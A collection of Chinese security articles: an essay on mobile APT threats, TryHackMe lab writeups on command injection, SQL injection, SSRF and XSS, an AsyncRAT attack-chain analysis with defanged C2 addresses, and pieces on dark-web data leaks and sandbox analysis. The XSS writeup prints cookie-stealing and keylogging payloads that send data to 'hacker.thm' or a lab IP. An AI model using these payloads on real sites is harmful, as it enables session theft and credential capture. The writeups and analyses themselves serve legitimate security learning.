手机等智能终端设备有更多的暴露面和可攻击面,包括终端技术栈层面的攻击面,涉及硬件、固件、系统和应用,通信层面的攻击面,涉及WiFi、蓝牙、蜂窝网络、GPS等,供应链层面的攻击面以及系统和互联网生态下的攻击面。从设备使用和定位来看,手机等智能终端设备作为消费级的产品,其会基于产品体验来权衡安全性的设计,并且用户会通过手机设备从不同的渠道下载应用、浏览网站等,但从手机终端防御机制和体系来看,手机设备的安全性防御体系主要依赖于供应商和制造商引入的系统安全管控和缓解机制和应用的威胁检测防御,一旦突破某些单点安全策略,攻击和防御就不再对等。再者,由于移动互联网环境下,国际互联网厂商过量的信息攫取,经过“棱镜”等特权接口,也成为超高能力网空威胁行为体能准确定位攻击目标的来源。 在手机系统中,苹果安全机制设计长期是被称道的,其安全体系和封闭式应用生态等降低了系统和设备被一般性攻击的可能性和安全风险,但在卡巴斯基曝光的事件中,苹果手机反而成为一个难以有效进行环境分析和取证的“黑箱”。 也许比被APT攻击更危险的,是霸权主义和单边主义对世界的撕裂。 安天始终致力于为手机和智能终端、云和其他各种计算环境提供基础安全能力,这些能力包括了移动恶意代码检测、Wi-Fi接入安全、支付安全、扫码安全等。我们也一直努力支持手机和智能操作系统厂商研发改善安全设计,通过削减攻击面,增强安全缓解和管控策略,例如引入权限模型,应用生态管控,建立响应体系。 我们尊重且敬畏自己的工作,但我们必须指出,手机是一种海量的消费级产品,其更多是面向便利性而设计,面向普通使用者,而非IT管理运营人员使用。手机厂商出厂的原生安全机制,是构建一个良性的基本面,支撑较好的运营和治理基础。但通用的安全机制,无论多么强劲,都很难对抗使用0day漏洞和专用样本的APT攻击,更不是简单靠安全意识和习惯就能解决的。而即使在消费级智能设备和系统上,寄希望于通过数据和运行环境隔离,设备入网管理和访问控制,容器级的应用管控等策略,很难完全对抗使用0day漏洞和先进样本的APT攻击。对有高安全需求场景的移动终端,需要以基于成熟的商业产品为基础,基于更专门的投入和保障体系,达成更强的安全防御能力。 与此同时,只有体系化和全生命周期的防御、溯源和猎杀机制,才能对抗体系化和全时间窗口的攻击,这个战场既在桌面终端、移动手机终端之上,也在网络设备和边界设备(包括安全设备)之上,更在内网和云计算等纵深资产之中。 让威胁检测、主动防御等更多安全能力基因化、底层化,从供应链层面构建原生融合的安全能力,实现“关口前移,防患于未然”,是我们的始终专注的工作,这些工作将持续塑造一个有利于防御攻击的供应链安全基本面;发现分析溯源曝光高级威胁,是我们始终奋战的战场,这些工作不仅持续检验和改善我们的核心安全能力,有助于公众了解网络空间的风险,有助于关键信息基础设施和政企机构以更真实客观的敌情想定改善网络安全能力。 我们将继续为此付出努力。 参考资料: [1] 美国情报机构网络攻击的历史回顾——基于全球网络安全界披露信息分析 http://www.china-cia.org.cn/home/WorkDetail?id=643368b50200340e00ff4fc7 [2] 探索Duqu木马身世之谜 https://antiy.cn/research/notice&report/research_report/261.html [3] Equation: The Death Star of Malware Galaxy https://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/ [4] 震网事件的九年再复盘与思考 https://www.antiy.com/response/20190930.html [5] 从“方程式”到“方程组”EQUATION攻击组织高级恶意代码的全平台能力解析 https://www.antiy.com/response/EQUATIONS/EQUATIONS.html [6] Operation Triangulation: iOS devices targeted with previously unknown malware https://securelist.com/operation-triangulation/109842/ [7] Bvp47 美国NSA方程式的顶级后门 https://mp.weixin.qq.com/s/WTlRPzUv3npV8xd9KRJoQw [8] 方程式(EQUATION)部分组件中的加密技巧分析 https://www.antiy.com/response/Equation_part_of_the_component_analysis_of_cryptographic_techniques.html [9] 修改硬盘固件的木马-探索方程式(EQUATION)组织的攻击组件 https://www.antiy.com/response/EQUATION_ANTIY_REPORT.html [10] 美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台技术分析报告 https://www.cverc.org.cn/head/zhaiyao/news20220629-FoxAcid.htm [11] “方程式组织”攻击SWIFT服务提供商EastNets事件复盘分析报告 https://www.antiy.com/response/20190601.html [12] The nsa hacks other countries by buying millions of dollars worth of computer vulnerabilities http://www.washingtonpost.com/blogs/the-switch/wp/2013/08/31/the-nsa-hacks-other-countries-by-buying-millions-of-dollars-worth-of-computer-vulnerabilities/ [13] 10 Things You Need To Know About 'Wikileaks CIA Leak' https://thehackernews.com/2017/03/wikileaks-cia-vault7-leak.html [14] 美国NSA主导的VEP-《漏洞公平裁决政策和程序》的是是非非 https://www.ics-cert.org.cn/portal/page/122/e999bf92e06f42b89800faf420b45b14.html [15] 维基百科:NOBUS https://en.wikipedia.org/wiki/NOBUS [16] Aris. Dual_EC_DRBG Backdoor: a Proof of Concept https://blog.0xbadc0de.be/archives/155 [17] The intelligence coup of the century’For decades, the CIA read the encrypted communications of allies and adversaries. https://www.washingtonpost.com/graphics/2020/world/national-security/cia-crypto-encryption-machines-espionage/ [18] 安天针对勒索蠕虫“魔窟”(WannaCry)的深度分析报告 https://www.antiy.com/response/wannacry.html [19] 《关于系统化应对NSA网络军火装备的操作手册》 https://www.antiy.com/response/Antiy_Wannacry_NSA.html [20] Pwn2Own list of notable hacks is incomplete https://en.wikipedia.org/wiki/Pwn2Own [21] Five Reasons I Want China Running Its Own Software https://taosecurity.blogspot.com/2017/03/five-reasons-i-want-china-running-its.html [22] NSA Surveillance Has No Boundaries, Expert Says https://threatpost.com/nsa-surveillance-has-no-boundaries-expert-says/103355/ [23] The U.S. Government and Zero-Day Vulnerabilities. https://jia.sipa.columia.edu/sites/default/files/attachments/Healey%20VEPpdf [24] 6 months later, Spectre still haunts. https://securityboulevard.com/2018/07/6-months-later-spectre-still-haunts/ [25] Hack the Pentagon 3.0 Bug Bounty Program to Focus on Facility Control Systems https://www.securityweek.com/hack-pentagon-30-bug-bounty-program-focus-facility-control-systems/ [26] REGULATING THE ZERO-DAY VULNERABILITY TRADE:A PRELIMINARY ANALYSIS https://fsi-live.s3.us-west-1.amazonaws.com/s3fs-public/fidler-second-review-changes-made.pdf [27] Pegasus: Spyware sold to governments 'targets activists' https://www.bbc.co.uk/news/technology-57881364 [28] FBI acknowledges it tested NSO Group’s spyware https://www.washingtonpost.com/technology/2022/02/02/pegasus-fbi-nso-test/ [29] L3 Harris in talks to buy Israeli spyware firm NSO https://www.reuters.com/markets/deals/l3harris-talks-buy-israeli-spyware-firm-nso-reports-2022-06-15/ [30] The FBI Spent $775K on Hacking Team's Spy Tools Since 2011 https://www.wired.com/2015/07/fbi-spent-775k-hacking-teams-spy-tools-since-2011/ [31] Shadow Brokers reveals list of Servers Hacked by the NSA http://thehackernews.com/2016/10/nsa-shadow-brokers-hacking.html [32] A Fanny Equation: "I am your father, Stuxnet" http://securelist.com/blog/research/68787/a-fanny-equation-i-am-your-father-stuxnet/ [33] Equation Group: from Houston with love http://securelist.com/blog/research/68877/equation-group-from-houston-with-love/ [34]Equation_group_questions_and_answershttps://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf
-
[Tryhackme]Command Injection&&SQL Injection writeup
前言 RCE命令执行(可看前面发布的ctfshow的靶场)已打,ctfshow给的命令执行比较直接一点,相对于Thm打一遍再次巩固基础 自己现在的实力还是很菜 Foreign friends please use Google Translate plugin to translate this article for better viewing room:https://tryhackme.com/room/oscommandinjection 笔记 了解RCE漏洞 任务三命令注入 任务四修复命令注入 下一关 Windows 拿flag Ok 开下一章节 SQL注入 room:https://tryhackme.com/room/sqlinjectionlm SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,导致执行恶意查询。当 Web 应用程序使用未经正确验证的用户输入与数据库进行通信时,攻击者有可能窃取、删除或更改私人数据和客户数据,并攻击 Web 应用程序身份验证方法以获取私有数据。或客户区。这就是为什么 SQLi 不仅是最古老的 Web 应用程序漏洞之一,而且也可能是最具破坏性的。 在这个房间中,您将了解什么是数据库、什么是SQL以及一些基本的 SQL 命令、如何检测 SQL 漏洞、如何利用 SQLi 漏洞以及作为开发人员如何保护自己免受 SQL 注入。 下一关检索语句 SQL命令带; Lab1 sql注入不太想打 建议观看https://www.youtube.com/watch?v=UaJJ5c967ls 详细测试已略过,这里直接打payload 下一关根据提示测试做 下一关按照提示打payload 下一关开始暴库 暴表 一个一个测密码是4961 下一章节 最后一关
-
分析AsyncRAT攻击链
最近,趋势科技管理的XDR (MxDR)团队处理了涉及AsyncRAT的各种样本,这是一种具有多种功能的远程访问工具(RAT),例如键盘记录和远程桌面控制,这种工具可以使其对受害者构成重大攻击。例如,攻击者会冒充当地银行和执法机构,将AsyncRAT传播给他们的目标。 2021年,AsyncRAT参与了名为“Spalax行动”的网络钓鱼活动,这些网络钓鱼活动一直持续到2021年底和2022年初。他们使用HTML附件进行AsyncRAT传播,同时还集成了反射加载技术。 t0:用户下载带密码保护的ZIP文件downloadedFile_SSAfnmeddOFzc.zip; 1分20秒:用户解压缩包含.wsf脚本的ZIP文件 1分26秒:下载并执行第一个有效负载,导致下载第二个有效负载; 1分35秒:自动启动; 1分59秒:下载并执行第二个有效负载; 5分48秒:进程注入到aspnet_compiler.exe和通过动态DNS的命令与控制(C&C)连接 下图描述了对涉及aspnet_compiler.exe的可疑活动的检测,该活动试图与外部IP地址45[.]141[.]215[.]40建立连接。同时,我们的分析揭示了有关PowerShell脚本和批处理文件的执行情况。我们能够使用这些数据作为支点,回溯并调查文件的入口点及其附加活动。 被触发的工作台警报 我们发现,攻击的触发因素是一个最初通过谷歌Chrome下载的名为downloadd_file_ssafnmeddofzc .zip的文件。 通过Chrome浏览器下载downloadfile_ssafnmeddofzc .zip文件 用户打开ZIP文件,可以发现其中包含一个名为downloaddfile_ssafnmedd .wsf的脚本文件。我们收集了ZIP文件,发现它是受密码保护的。 根据最近的报告显示,AsyncRAT通常通过垃圾邮件传播。我们强烈怀疑用户可能已经收到了解压ZIP文件的密码,以及恶意链接。用户使用密码提取并打开了文件,突出了攻击者用来规避检测的常用策略,即使用电子邮件中包含的密码提取ZIP文件。 检查执行配置文件会发现wscript.exe是通过Windows资源管理器启动的,这表明用户通过双击它来执行该文件。安装顺序包括创建和执行多个PowerShell脚本(.ps1)、VBScript (.vbs)和批处理文件(.bat)。 执行downloadd_file_ssafnmeddofzc .wsf文件并创建多个脚本文件 通过使用反恶意软件扫描接口(AMSI)监测(TELEMETRY_AMSI_EXECUTE),我们在运行时获得了与downdownloadfile_ssafnmeddofzc .wsf相关的数据,使我们能够辨别文件的目的及其相应的活动。 脚本下载file_ssafnmeddofzc .wsf(.wsf)是一个Windows脚本文件,它使用PowerShell和VBScript命令的混合来执行一系列活动。它创建了一个WScript.Shell对象,通常用于执行Shell命令,并在C:\Users\Public目录中生成名为VLCdllFrame.xml的文本文件。作为第二个参数的" true "值表示,如果该文件已经存在,则该文件将被覆盖。 脚本使用start - bittransfer命令从hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg下载文件,以“snakers.zip”保存。随后,它将内容提取到C:\Users\Public目录中,或者在某些情况下提取到C:\Users\Public\ pictures \中。执行PowerShell命令后,脚本将删除之前创建的VLCdllFrame.xml文件。 我们收集了snake .zip并分析了其内容,发现其存在各种恶意脚本,这些脚本都是AsyncRAT安装例程的组成部分。 AsyncRAT安装例程的组件 下图描述了由Vision One生成的执行概要文件,说明了当用户打开文件downloadd_file_ssafnmeddofzc .wsf时触发的AsyncRAT安装例程中的事件序列。 AsyncRAT安装链和代码注入到aspnet_compiler.exe 我们观察到aspnet_compiler.exe正在建立与IP地址208[.]95[.]112[.]1:80(IP-api[.]com)和45[.]141[.]215.40:4782(httpswin10[.]kozow[.].com)的连接。前者用于地理位置检查,而后者(被标识为免费动态DNS)可能被攻击者用来混淆其真实服务器IP地址,从而实现快速更改以逃避检测。在其他情况下,可以看到它连接到66escobar181[.]ddns[.]net,另一个动态DNS服务器。 连接到外部IP地址45[.]141[.]215.40(动态DNS)的aspnet_compiler.exe可执行文件 计划任务的创建名为Reklam或Rekill,提供了AsyncRAT持久性功能。下图显示了Webcentral.ps1的内容,该脚本负责创建一个计划任务,该任务使用Windows任务调度程序服务每两分钟执行一次C:\Users\Public\hash.vbs或C:\Users\Public \Pictures\hash.vbs。 Webcentral.ps1为持久性创建计划任务(由AMSI遥测记录)脚本 分析 通过分析脚本,我们能够更深入地了解攻击的目标。下图说明了该攻击如何策略性地使用多层脚本作为逃避检测的手段。随后,它继续向aspnet_compiler.exe执行代码注入,这是另一种不被检测到的方法。 接下来,我们将讨论从snakes .zip中提取的每个脚本的目标。 AsyncRAT安装例程 Webcentral.vbs 脚本使用net session命令检查它是否以管理权限运行(第9-10行)。如果成功,它会向攻击者标记存在管理权限(isAdmin),然后运行存储在变量executionCommand中的命令,将其定向到批处理文件(C:\Users\Public\Webcentral.bat)。该脚本包括错误处理技术,使用On Error Resume Next和On Error GoTo 0语法来管理错误并保持脚本顺利运行。 Webcentral.vbs检查管理权限,然后执行Webcentral.bat bat脚本启动PowerShell执行位于C:\Users\Public\Webcentral.ps1的脚本。它使用-NoProfile,-WindowStyle Hidden和-ExecutionPolicy Bypass参数在隐藏窗口中使用绕过的执行策略运行PowerShell。 Webcentral.bat执行Webcentral.ps1 Webcentral.ps1 Webcentral.ps1脚本创建一个名为Reklam的计划任务,该任务每两分钟运行一次脚本(hash.vbs)。计划任务已启用,即使设备使用电池运行,也可以启动。hash.vbs脚本位于C:\Users\Public\hash.vbs目录中,作为计划任务的一个操作执行。该任务是使用Windows任务计划程序服务注册的。 Webcentral.ps1创建计划任务并将其设置为每两分钟运行一次Hash.vbs Hash.vbs与Webcentral.vbs是相同的脚本,但指向不同的文件(C:\Users\Public\Hash.bat)。 Hash.bat 与Hash.vbs类似,Hash.bat是Webscentral.bat的脚本,但指向不同的文件(C:\Users\Public\Hash.ps1)。 Hash.ps1 Hash.ps1解码并加载以msg.txt和runpe.txt编码的PE文件,触发aspnet_compiler.exe的执行。它使用解码后的runpe.txt中的函数将AsyncRAT有效负载(解码后的msg.txt)注入新生成的aspnet_compiler.exe进程中。 Hash.ps1解码并加载以msg.txt和runpe.txt编码的PE文件 解码后的脚本如下: 这是一个PowerShell脚本,动态加载.NET程序集,特别是NewPE2.PE类型,并调用其Execute方法。Execute方法用于向进程中注入与aspnet_compiler.exe相关的代码,它是为恶意代码注入而设计的,允许恶意攻击者在合法的aspnet_compiler.exe进程的上下文中执行额外的代码。 已解码的runpe.txt(进程注入器代码) 如下图所示,runpe.txt文件的解码内容显示了Hash中使用的代码.ps1脚本执行进程注入到aspnet_compiler.exe。 预览在Hash中加载和使用的进程注入函数.ps1脚本 Decodedmsg.txt (AsyncRAT Payload) 在例程开始时解码的配置,需要注意的值是主机名66escobar181[.]ddns[.]net和它所连接的端口号6666。 其他功能 根据嵌入式配置,AsyncRAT后门具有其他功能。这包括反调试和分析检查、持久性安装和键盘记录。下图中的代码片段检查是否在嵌入式配置embeddedConfig中启用了键盘记录。如果启用了keylogging,它将启动一个新线程来执行startKeylogging方法。 键盘记录配置值在运行时解密并引用变量 对于我们获得的样本文件,仅启用了键盘记录例程,该例程捕获并记录受攻击计算机的每次击键,并将数据发送到攻击者控制的服务器。 启用了键盘记录程序,捕获并记录每个击键 keylogging例程以与关联程序(getActiveApplicationName())对应的日志记录键结束。此交互是从临时目录中的指定日志文件中找到的。然后将信息记录在%TEMP%\Log.tmp中。 代码片段动态地从配置中选择主机和端口。AsyncRAT使用套接字连接与各种IP地址和端口进行交互,使其基础设施具有动态性和适应性。它允许攻击者频繁更改服务器地址,使预测或阻止通信通道的工作复杂化。此外,代码还包括错误处理机制,如果连接到特定IP地址或端口时出现问题,错误处理机制允许AsyncRAT尝试替代连接或退回到默认配置,从而进一步强调攻击者采用的规避策略。 AsyncRAT动态主机例程,在我们的样本中,它通过端口6666连接到66escobar181[.]ddns[.]net AsyncRAT有效负载在连接到服务器时收集客户端信息。其中包括用户名、计算机信息、安装的防病毒软件和安装的加密货币钱包。 收集用户名、计算机信息、防病毒程序和加密货币钱包的信息 AsyncRAT扫描应用程序目录、浏览器扩展和用户数据中的特定文件夹,以识别与特定加密钱包相关的文件夹名称,并验证它们在系统中的存在。 加密钱包检查序言的代码片段对与以下钱包字符串相关的某些目录进行查询: Atomic Binance BinanceEdge BitcoinCore BitKeep BitPay Coinbase Coinomi Electrum Exodus F2a LedgerLive Meta Phantom RabbyWallet Ronin TronLink TrustAsyncRAT攻击的最新趋势 到2023年初,AsyncRAT攻击仍然存在,利用包括PowerShell、Windows Script file (WSF)和VBScript (VBS)等各种文件类型来进行恶意攻击。 分析解密后的AsyncRAT有效负载,可以明显看出所使用的证书与AsyncRAT Server相关联,这是AsyncRAT C&C流量的一个特征。通常,主题公共名称被配置为“AsyncRAT服务器”或“AsyncRAT服务器CA”。 检查主题通用名称在识别AsyncRAT攻击方面证明是有价值的,恶意软件配置揭示了ID 3LOSH RAT的存在。这意味着有效负载可能使用了3LOSH加密器进行混淆和隐身,这解释了在攻击链的不同阶段使用多个脚本。 在调查AsyncRAT样本文件期间,我们发现了用于aspnet_compiler.exe的注入代码与GitHub上的开源存储库之间的代码相似之处。从客户环境中获得的AsyncRAT样本和GitHub存储库上的版本之间出现了两个明显的区别。 首先,我们获得的样本包括BoolWallets作为扫描的加密货币钱包之一。其次,GitHub版本缺乏键盘记录功能。然而,我们获得的代码显示了键盘记录功能,类似于在GitHub存储库中找到的另一个样本。这些差异表明攻击者定制了GitHub代码以符合他们的特定目标。 探索动态DNS使用情况 动态DNS允许攻击者快速更改与域名相关的IP地址,这对试图检测和阻止恶意活动的安全系统提出了挑战。我们最近的调查揭露了在No-IP和Dynu Systems, Inc名下注册的C&C域名。66escobar181[.]ddns[.]net域解析为IP地址185[.]150[.]25[.]181。VirusTotal分析表明,多个域被标记为恶意,都集中到同一个IP地址。 不同的域名解析到同一个IP: 185[.]150[.]25[.]181 进一步仔细检查IP信息,我们发现了与托管提供商Zap-Hosting的关联,该提供商以提供各种服务而闻名,例如游戏服务器、网站和虚拟专用服务器(VPS)。另一个域(httpswin10[.]kozow[.]com)也出现了类似的模式,它解析为与托管提供商关联的IP地址。此IP地址还与其他恶意域共享,表明了攻击者利用DDNS和托管提供商进行操作的一致策略。 总结 本文介绍了AsyncRAT远程访问木马,它具有诸如未经授权访问、键盘记录、远程桌面控制和隐蔽文件操作等功能,并分析了它是如何作为各种攻击的通用工具展开运行的,其中就包括勒索软件。 策略性地使用多个混淆的脚本,结合 "living off the land" 技术,让攻击更加灵活,使他们能够逃避检测。再加上将代码注入到合法文件(如aspnet_compiler.exe)中,这种技术大大增加了检测这些攻击的难度。 此外,使用动态主机服务器允许攻击攻击者无缝更新他们的IP地址,加强了在系统中不被发现的可能性。在许多情况下,AsyncRAT的默认目的保持不变,即窃取有价值的信息,如用户名、密码和加密货币钱包,通过键盘记录捕获的击键使攻击者能够获取凭据并可能访问金融帐户。
-
[Tryhackme]Intro to SSRF&&Cross-site Scripting writeup
前言 后期在打打CTFshow的靶场温习一下 Foreign friends please use Google Translate plugin to translate this article for better viewing 房间简介 在这个房间中,您将了解什么是SSRF、它们可以产生什么样的影响、您将查看一些 SSRF 攻击示例、如何发现 SSRF 漏洞、如何规避输入规则,然后我们为您提供了练习反对尝试你新发现的技能。 什么是 SSRF? SSRF代表服务器端请求伪造。该漏洞允许恶意用户导致网络服务器向攻击者选择的资源发出额外的或经过编辑的 HTTP 请求。 SSRF的类型 SSRF漏洞有两种类型:第一个是常规 SSRF,其中数据返回到攻击者的屏幕。第二个是盲目 SSRF 漏洞,即发生 SSRF,但不会将任何信息返回到攻击者的屏幕。 有什么影响? 成功的SSRF攻击可能会导致以下任一情况: 进入未经授权的区域。 访问客户/组织数据。 能够扩展到内部网络。 显示身份验证令牌/凭据。 room:https://tryhackme.com/room/ssrfqi 笔记 SSRF示例 寻找SSRF SSRF防御 SSRF实用 如tryhackme所说 将其他的照片改为私有 继续看tryhackme所说 并且尝试对内容进行解码 XSS room:https://tryhackme.com/room/xss 什么是有效负载? 在XSS中,有效负载是我们希望在目标计算机上执行的 JavaScript 代码。有效负载有两个部分,意图和修改。 意图是您希望 JavaScript 实际执行的操作(我们将在下面的一些示例中介绍),而修改是对我们需要的代码进行更改,以使其执行,因为每个场景都不同(在完善中详细介绍了这一点)您的有效负载任务)。 以下是XSS意图的一些示例。 概念证明: 这是最简单的有效负载,您所需要做的就是证明您可以在网站上实现XSS 。这通常是通过在页面上弹出一个带有文本字符串的警告框来完成的,例如: <script>alert('XSS');</script> 会话窃取: 用户会话的详细信息(例如登录令牌)通常保存在目标计算机上的 cookie 中。下面的 JavaScript 获取目标的 cookie,对 cookie 进行 base64 编码以确保成功传输,然后将其发布到黑客控制下的网站以进行记录。一旦黑客拥有这些 cookie,他们就可以接管目标的会话并以该用户的身份登录。 <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script> 按键记录器: 下面的代码充当键盘记录器。这意味着您在网页上输入的任何内容都将被转发到黑客控制下的网站。如果网站将有效负载安装在接受的用户登录或信用卡详细信息上,这可能会造成很大的破坏。 <script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script> 商业逻辑: 这个有效负载比上面的例子要具体得多。这将涉及调用特定的网络资源或 JavaScript 函数。例如,假设有一个用于更改用户电子邮件地址的 JavaScript 函数,名为user.changeEmail()。您的有效负载可能如下所示: <script>user.changeEmail('[email protected]');</script> 现在帐户的电子邮件地址已更改,攻击者可能会执行重置密码攻击。 接下来的四个任务将涵盖不同类型的XSS漏洞,所有这些漏洞都需要稍微不同的攻击负载和用户交互。 反射性XSS 基本上不用看因为反射性XSS提交漏洞别人根本不理 存储性XSS可以交个低危 下一关打lab 只要弹出THM即可进入下一关 第二关闭合input 下一关闭合textarea 下一关转义JavaScript 下一关的script被删除 双写绕过 下一关 出现了猫 进行检查 根据提示拿到flag 任务八 对票证检查闭合textarea 下一关需要调用cookie 建议边开攻击盒子和虚拟机 攻击盒子里开启端口 虚拟机里的网站填 </textarea><script>fetch('http://10.10.223.138:9001?cookie=' + btoa(document.cookie) );</script> 解码 提交cookie
-
在暗网中企业易发生重大数据泄露事件
每年都会有大量的公司发生重大数据泄露事件,例如2022年Medibank和Optus的数据泄露、Twitter的数据泄露、Uber和Rockstar的数据泄露以及2023年T-Mobile、MailChimp和OpenAI的数据泄露。在2022年,卡巴斯基实验室列出了全球700家来自不同行业的公司,然后在暗网上搜索,试图分析这些公司遭受攻击的可能性有多大? 研究发现,暗网里的帖子都是关于出售受攻击帐户、内部数据库和文档,以及访问公司基础设施。虽然暗网确实促进了各种数据类型的销售,例如,银行卡信息、驾驶执照和身份证照片等,但本文重点还是放在了与企业特别相关的信息上。研究发现700家公司中有223家在暗网上被提及,泄露数据的主题也不同。 各行业分布 这意味着三分之一的公司在与销售数据或访问相关的暗网帖子中被引用,即使是网络安全成熟度高的公司也避免不了被黑客攻击。 本文提供了一个统计概述,包括所有暗网帖子,涉及2022年1月至2023年11月期间出售、购买或免费传播受攻击帐户的数据。 数据泄露 数据泄露会暴露机密、敏感信息,并可能导致重大问题。最常见的例子是数据库和内部文档,因为所有有一定规模的公司都使用机密数据,泄露会影响公司本身、员工和客户。 暗网上每月大约有1700个新的帖子出现,涉及销售、传播或购买泄露数据。 2022年1月至2023年11月与数据库出售/购买相关的消息数量 应该注意的是,并不是每条消息都代表一条最新出现的泄漏,其中有些是重复的广告相同泄漏。 一个组合报价的示例 另一种流行的泄露类型是收集公共数据的数据库,如姓名、个人资料、id和电子邮件,这些数据来自流行的社交网络。它们是开发攻击的宝贵来源。2021年,超过7亿LinkedIn用户和5.33亿Facebook用户的个人信息被抓取并发布在暗网上。 泄露的LinkedIn数据库分布示例 基础设施的访问 以下是网络攻击者获取企业基础设施初始访问权限以进行攻击的最常见行为: 1.利用软件漏洞。例如,对企业web资源的攻击,利用跨网站组件的1日漏洞,SQL注入,访问易受攻击的web应用程序控制面板等。 2.获得合法的公司证书。例如,使用窃取日志中的数据或密码挖掘。 3.针对员工的网络钓鱼攻击。例如,带有恶意负载的电子邮件。 特别要提的是盗用合法账户的方法。这些驻留在受感染设备中的恶意程序收集各种帐户和支付数据、cookie文件、授权令牌等,并保存到日志中。网络攻击者扫描这些日志,寻找他们可以利用和赚钱的数据,一些人在寻找信用卡数据,另一些人在寻找域名账户,社交网络账户等,他们把这个阶段称为加工。在整理完日志后,他们要么在论坛上公开交换自己的发现,要么把它们卖给个人买家。 关于漏洞(例如SQL注入)和合法凭据(例如RDP/SSH)的信息,对于收入可观的公司来说,定价会非常不同,因为它们提供了不同的成功攻击概率。出售帐户以访问远程管理接口(RDP、SSH)意味着已经获得了对公司网络基础设施系统的访问权限,而漏洞仅仅提供了实现类似级别访问的机会。即使涉及到同样的问题,比如SQL注入,也有许多因素影响攻击的潜在发展,比如易受攻击的主机位置(例如,公司网络或云服务器),预期的漏洞利用技术,数据库容量等, 基础设施访问受欢迎的原因很简单,复杂的攻击几乎总是包括几个阶段,例如侦察、对基础设施的初始访问、获得对目标系统或特权的访问,以及实际的恶意行为(数据盗窃、破坏或加密等)。不同的阶段需要不同的专业知识,因此网络攻击者往往具有专业知识,容易获得访问权限的人可能在攻击的发展中面临困难。在这种情况下,购买初始访问权限简化了攻击,对于经验丰富的网络罪犯来说很划算。 对于希望降低与基础设施访问销售相关的风险的企业来说,第一个挑战是了解销售情况。与其他类型的数据相比,这种数据类型的巨大区别在于,网络攻击者不喜欢在消息中提及公司的名称,以免失去访问权限,即使有人提到了名字,社区也会建议他们不要分享多余的信息。 对提供出售的帖子发表评论 在这种情况下,如何跟踪此威胁?网络攻击者通常会在信息中加入一些属性,比如地理位置、行业、公司规模和年收入。 一些带有公司属性论坛消息的示例 在2022年,研究人员发现了大约3000个独立的基础设施项目,到2023年11月,我们已经找到了超过3100份报价。通常,被黑客攻击的企业基础设施包括企业VPN服务的帐户和内部网络中的一些服务器或主机(通常,访问是通过RDP或web shell执行的)。 2022年1月至2023年11月提供的基础设施访问的消息数量 账户被盗 还有另一类数据是获得初始访问权限的真正发现,受攻击帐户。根据来源,研究人员将所有受攻击账户分为三类: 1.在网络威胁组织中自由传播的公开秘密。 2.在黑客论坛和私人聊天中出售的具有有限访问权限的漏洞,有时这些只是包含未经验证的信息的小型数据库。 3.在暗网论坛上发布的恶意软件日志中泄露的用户账户。由于REDLINE和VIDAR这样的信息窃取程序,这些凭证变得可用,现在可以通过恶意软件即服务在网络犯罪社区中轻松访问。 乍一看,网络攻击者没有理由免费共享凭证。然而,如果他们不再需要这些数据,并希望在特定的暗网论坛上提高他们在网络犯罪社区中的比率,他们仍然可以这样做。此外,他们还可以发布一些包含受攻击帐户的恶意软件日志文件,以进行下一次销售。 这三种类型的证书泄露都对公司造成了威胁,有些员工不顾禁令,使用公司电子邮件地址在第三方网站上注册。在典型情况下,公司员工对外部服务和公司资源使用相同的密码,有助于网络攻击者未经授权便访问公司基础设施。
-
分析恶意软件时可能遇到的三个常见问题
恶意软件分析涵盖一系列活动,其中包括仔细检查恶意软件的网络流量。要想有效地做好这项工作,关键在于要了解常见的威胁以及如何克服这些威胁。下面将介绍企业可能遇到的三个常见问题以及解决它们所需要的工具。 解密HTTPS流量 超文本安全传输协议(HTTPS)原本是一种确保安全在线通信的协议,如今却已经成为了恶意软件隐藏其恶意活动的一种工具。通过伪装受感染设备与指挥和控制(C&C)服务器之间的数据交换,恶意软件就可以在不被发觉的情况下运行,往外泄露敏感数据,安装额外的攻击载荷,并接收来自攻击者团伙的指令。 然而,如果有合适的工具,解密HTTPS流量就轻而易举。为此,我们可以使用中间人(MITM)代理,MITM代理充当了客户机与服务器之间的中介,可以拦截两者之间传输的信息。 MITM代理帮助分析人员实时监控恶意软件的网络流量,以便他们清楚地了解恶意活动。除此之外,分析人员还可以访问请求和响应数据包的内容、IP以及URL,以查看恶意软件通信的详细信息,并识别窃取的数据,这种工具对于提取恶意软件使用的SSL密钥特别有用。 图1. ANY.RUN沙箱提供的有关AxileStealer的信息 在这个例子中,初始文件(大小为237.06 KB)投放AxilStealer的可执行文件(大小为129.54 KB)。作为一种典型的信息窃取器,它获得了访问存储在网络浏览器中的密码的权限,开始通过Telegram消息传递连接将密码传输给攻击者。 规则“STEALER [ANY.RUN] Attempt to exfiltrate via Telegram”(STEALER [ANY.RUN]企图通过Telegram往外泄露)表明了恶意活动。由于MITM代理功能,恶意软件的流量已被解密,揭露了这个事件的更多细节。 发现恶意软件家族 识别恶意软件家族是任何网络调查工作的一个关键部分。Yara规则和Suricata规则是用于这项任务的两种常用工具,但在处理服务器不再活跃的恶意软件样本时,它们的有效性却可能受到限制。 FakeNET为此提供了一个解决方案,即创建一条虚假的服务器连接来响应恶意软件请求,诱骗恶意软件发送请求可以触发Suricata规则或YARA规则,该规则可以准确识别恶意软件家族。 图2. ANY.RUN沙箱检测到的非活跃服务器 在分析该样本时,沙箱指出了恶意软件的服务器没有响应这个事实。 图3. 使用FakeNET识别出来的Smoke Loader恶意软件 然而,在启用FakeNET功能后,该恶意软件立即向虚假的服务器发送请求,触发识别出它是Smoke Loader的网络规则。 捕捉针对特定地区的隐蔽性恶意软件 许多攻击和网络钓鱼活动将目光重点投向特定的地区或国家。随后,它们结合IP地理位置、语言检测或网站屏蔽等机制,这些机制可能会限制分析人员检测它们的能力。 除了针对特定地区外,恶意软件团伙还可能利用一些技术来逃避沙箱环境中的分析活动。一种常见的方法是验证系统是否正在使用数据中心IP地址。一旦予以证实,恶意软件就停止执行。 为了克服这些障碍,分析人员使用了住宅代理。这种出色工具的工作原理是,将分析人员的设备或虚拟机的IP地址换成来自世界不同地区的普通用户的住宅IP。 这项功能使专业人员能够通过模仿本地用户来绕过地理限制,并在不暴露其沙箱环境的情况下研究恶意活动。 图4. 使用FakeNET识别出来的Smoke Loader恶意软件 